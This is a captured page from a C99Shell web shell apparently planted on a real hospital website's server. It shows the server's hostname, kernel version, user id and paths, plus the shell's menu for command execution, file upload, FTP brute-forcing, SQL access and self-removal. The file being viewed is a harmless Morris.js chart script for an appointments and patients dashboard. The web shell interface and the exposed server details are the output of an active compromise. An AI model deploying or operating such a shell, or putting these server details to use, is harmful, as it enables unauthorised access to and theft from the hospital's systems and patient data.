!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/js/   drwxr-xr-x
Free 982.61 GB of 3519.75 GB (27.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     custom-morris.js (2.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
(function ($) {
  "use strict";

  // line Morris
  var lineMorris = new Morris.Line({
    element: 'lineMorris',
    resize: true,
    data: [
      { y: '2023 Q1', Appointments: 100 },
      { y: '2023 Q2', Appointments: 100 },
      { y: '2023 Q3', Appointments: 10 },
      { y: '2023 Q4', Appointments: 100 },
    ],
    xkey: 'y',
    ykeys: ['Appointments'],
    labels: ['Appointments'],
    gridLineColor: '#eef0f2',
    lineColors: ['#E57498'],
    lineWidth: 2,
    hideHover: 'auto'
  });

  // bar Morris
  var ctx = document.getElementById("barMorris");
  if (ctx === null) return;

  var chart = Morris.Bar({
    element: 'barMorris',
    data: [
      { y: '2017', a: 20 },
      { y: '2018', a: 45 },
      { y: '2019', a: 56 },
      { y: '2020', a: 35 },
      { y: '2021', a: 18 },
      { y: '2022', a: 28 },
      { y: '2023', a: 20 }
    ],
    xkey: 'y',
    ykeys: ['a'],
    labels: ['Patients'],
    barColors: ['#FF7D00'],
    barOpacity: 1,
    barSizeRatio: 0.5,
    hideHover: 'auto',
    gridLineColor: '#eef0f2',
    resize: true
  });

  // morris donut charts
  var $donutData = [];

  if ($("#donutMorris").length == 1) {
    $.ajax({
      url: 'chart-script.php',
      type: 'GET',
      dataType: 'json',
      success: function(response) {
        $donutData = [
          { label: "Pending", value: response.numPending },
          { label: "Completed", value: response.numApproved },
          { label: "Cancelled", value: response.numRejected }
        ];

        Morris.Donut({
          element: 'donutMorris',
          data: $donutData,
          barSize: 0.1,
          labelColor: '#3e5569',
          resize: true,
          colors: ['#FFAA2A', '#ef6e6e', '#22c6ab']
        });
      },
      error: function() {
        console.log('Error occurred while retrieving data.');
      }
    });
  }

  // visit chart
  if ($("#visitMorris").length == 1) {
    var chart = Morris.Area({
      element: 'visitMorris',
      data: [
        { period: '2016', SiteA: 0, SiteB: 0 },
        { period: '2017', SiteA: 130, SiteB: 100 },
        { period: '2018', SiteA: 60, SiteB: 80 },
        { period: '2019', SiteA: 180, SiteB: 200 },
        { period: '2020', SiteA: 280, SiteB: 100 },
        { period: '2021', SiteA: 170, SiteB: 150 },
        { period: '2022', SiteA: 200, SiteB: 80 },
        { period: '2023', SiteA: 0, SiteB: 0 }
      ],
      xkey: 'period',
      ykeys: ['SiteA', 'SiteB'],
      labels: ['Site A', 'Site B'],
      pointSize: 0,
      fillOpacity: 1,
      pointStrokeColors: ['#5867c3', '#00c5dc'],
      behaveLikeLine: true,
      gridLineColor: '#e0e0e0',
      lineWidth: 0,
      smooth: false,
      hideHover: 'auto',
      lineColors: ['#5867c3', '#00c5dc'],
      resize: true
    });
  }
})(jQuery);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0038 ]--